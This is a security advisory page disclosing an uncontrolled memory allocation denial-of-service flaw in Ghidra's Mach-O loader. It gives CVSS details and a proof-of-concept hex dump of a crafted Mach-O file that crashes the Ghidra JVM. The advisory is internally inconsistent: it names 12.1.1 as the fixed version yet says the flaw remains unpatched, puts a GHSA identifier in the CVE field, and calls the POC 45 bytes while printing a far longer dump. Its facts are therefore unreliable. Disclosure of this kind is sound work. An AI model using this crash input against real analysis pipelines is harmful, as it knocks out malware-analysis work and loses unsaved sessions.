Ghidra MachoLoader Uncontrolled Resource Consumption DoS Vulnerability with POC

Vulnerability Overview Vulnerability Name: Uncontrolled Resource Consumption in MachoLoader CVE Number: GHSA-v6c3-h9cp-3w6f Severity: Medium (5.5 / 10) CVSS v3 Base Metrics: - Attack Vector: Local - Attack Complexity: Low - Privileges Required: None - User Interaction: Required - Scope: Unchanged - Confidentiality: None - Integrity: None - Availability: High Vulnerability Description: Ghidra's Mach-O binary parser contains an uncontrolled memory allocation vulnerability. An attacker can cause the Ghidra JVM to crash by inducing an analyst or an automated pipeline to import a crafted Mach-O binary file. By providing an arbitrarily large field (command count), the parser attempts to allocate an excessively large list without checking the remaining file size, rapidly exhausting the Java heap space and causing the application to crash. Scope of Impact Affected Versions: < 12.1.1 Fixed Versions: 12.1.1 Impact: This is a Denial of Service (DoS) vulnerability (CWE-400) affecting malware analysts and automated binary analysis pipelines. The vulnerability exists in all released versions of Ghidra and remains unpatched. Malware distributors can intentionally embed malicious Mach-O headers in files, causing the Ghidra JVM to crash immediately. This results in the loss of unsaved work and session interruption. This is particularly detrimental to automated malware analysis pipelines using headless Ghidra instances, as a single malicious file can block or crash the processing queue. Remediation Fixed Versions: 12.1.1 POC Code ```hex POC1 — 83f9d9d6.bin (45 bytes), hex dump (cefaedf070000001edffff0000b9c7dde405f3030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Goal Reached Thanks to every supporter — we hit 100%!

Ghidra MachoLoader Uncontrolled Resource Consumption DoS Vulnerability with POC

More from this source